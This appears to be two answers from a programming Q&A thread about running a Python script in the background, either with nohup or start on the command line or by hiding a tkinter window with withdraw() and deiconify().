Answer 1

Try to run your program from the Terminal/Command Line.

It should be nohup python your_code.py > your_output.txt on Linux and start \\B python <your_code.py> > your_output.txt on Windows

Answer 2

I guess what you are trying, can be done using withdraw() api in tkinter.

app.withdraw() will hide your window and then can be brought back to view using app.deiconify()
